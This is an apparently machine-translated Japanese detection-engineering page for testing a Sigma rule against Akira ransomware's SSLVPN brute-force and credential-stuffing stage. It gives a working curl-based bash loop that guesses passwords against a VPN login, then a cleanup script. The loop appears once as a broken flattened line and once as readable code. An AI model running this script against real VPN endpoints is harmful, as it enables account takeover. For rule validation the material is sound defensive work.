周辺およびエンドポイントログを介してアキラランサムウェアのキルチェーンを追跡する

シミュレーション実行

前提条件: テレメトリ＆ベースライン事前フライトチェックが合格していること。

根拠: このセクションでは、検出ルールをトリガーするために設計された敵の技術（TTP）の正確な実行を詳細に記載します。コマンドとナarrativeは特定されたTTPを直接反映し、検出ロジックによって期待される正確なテレメトリ生成を目的としている必要があります。

• 攻撃の語り＆指揮:

  1. 情報収集（T1087）： 攻撃者は妥協された内部システムからユーザー名を列挙し、資格情報詰め込みリストを作成します（例： users.txt).
  2. ブルートフォースループ（T1021.001 / T1078.001）： 既知のホスティングプロバイダーに属する妥協された外部IP範囲を使用して（例： 203.0.113.45）、攻撃者は1時間以内に50以上の失敗したSSLVPN認証試行を開始します。各試行はリストから異なるパスワードを使用し、単一の被害者アカウントを狙います。
  3. 成功した資格情報詰め込み： リストを使い切った後、正しいパスワードが見つかり、攻撃者は同じIPから成功裏にログインし、「successful_auth」条項を満たします。
  4. 回避 (オプション – T1070.001)： 攻撃者はログイン後にVPN機器のセキュリティログをクリアし、痕跡を隠します（このルールではカバーしていません）。

• 回帰テストスクリプト： を利用したBashスクリプト（Linux攻撃者ボックスで動作）。実際の環境に合わせて変数を調整します。 を利用したBashスクリプト（Linux攻撃者ボックスで動作）。実際の環境に合わせて変数を調整します。 #!/usr/bin/env bash # —————————————————————— # Sigmaルールをトリガーするために設計されたSSLVPNブルートフォース/資格情報つめこみをシミュレートする # —————————————————————— VPN_ENDPOINT=”https://vpn.example.com/remote/auth” USERNAME=”victim_user” PASSWORD_LIST=”passwords.txt” # 1行に1つのパスワード SOURCE_IP=”203.0.113.45″ # VPNにルーティング可能である必要があります # 単一のログイン試行を実行する関数 attempt_login() { local pwd=”$1″ # –silentを使用して煩雑さを避け、–write-outを使用してHTTPコードを取得 curl –silent –output /dev/null –write-out “%{http_code}” –user “$USERNAME:$pwd” “$VPN_ENDPOINT” } # 1. 失敗した試行を55回生成する（速度 ~1/秒） echo “失敗した試行を開始…” count=0 while IFS= read -r pwd && [ $count -lt 55 ]; do http_code=$(attempt_login “$pwd”) echo “試行 $((count+1)): HTTP $http_code (期待される401)” ((count++)) sleep 1 # 1時間内に収める done < “$PASSWORD_LIST” # 2. 正しいパスワードでの成功したログイン（ファイル中の最後の行と仮定） echo “成功したログインを実行する…” correct_pwd=$(tail -n1 “$PASSWORD_LIST”) http_code=$(attempt_login “$correct_pwd”) echo “成功した試行: HTTP $http_code (期待される200)” echo “シミュレーション終了。”

  #!/usr/bin/env bash
  # ------------------------------------------------------------------
  # Simulate SSLVPN brute‑force / credential stuffing to trigger Sigma rule
  # ------------------------------------------------------------------
  
  VPN_ENDPOINT="https://vpn.example.com/remote/auth"
  USERNAME="victim_user"
  PASSWORD_LIST="passwords.txt"   # one password per line
  SOURCE_IP="203.0.113.45"        # must be routable to the VPN
  
  # Function to perform a single login attempt
  attempt_login() {
      local pwd="$1"
      # Using --silent to avoid clutter; --write-out to capture HTTP code
      curl --silent --output /dev/null --write-out "%{http_code}" 
          --user "$USERNAME:$pwd" 
          "$VPN_ENDPOINT"
  }
  
  # 1. Generate 55 failed attempts (rate ~1/sec)
  echo "Starting failed attempts..."
  count=0
  while IFS= read -r pwd && [ $count -lt 55 ]; do
      http_code=$(attempt_login "$pwd")
      echo "Attempt $((count+1)): HTTP $http_code (expected 401)"
      ((count++))
      sleep 1   # keep within 1‑hour window
  done < "$PASSWORD_LIST"
  
  # 2. Successful login with correct password (assume last line in file)
  echo "Performing successful login..."
  correct_pwd=$(tail -n1 "$PASSWORD_LIST")
  http_code=$(attempt_login "$correct_pwd")
  echo "Successful attempt: HTTP $http_code (expected 200)"
  
  echo "Simulation complete."

• クリーンアップコマンド： 一時ファイルを削除し、ファイアウォールのレート制限をリセットします（変更があった場合）。

  #!/usr/bin/env bash
  # SSLVPNブルートフォースシミュレーションの後処理
  
  # もしその場で生成された一時パスワードリストがあれば削除
  if [ -f passwords.txt ]; then
      shred -u passwords.txt
      echo "passwords.txtを削除しました"
  fi
  
  # テスト用に使用された一時的なiptablesルールをオプションでリセット
  sudo iptables -D INPUT -s 203.0.113.45 -j DROP 2>/dev/null || true
  echo "クリーンアップ完了。"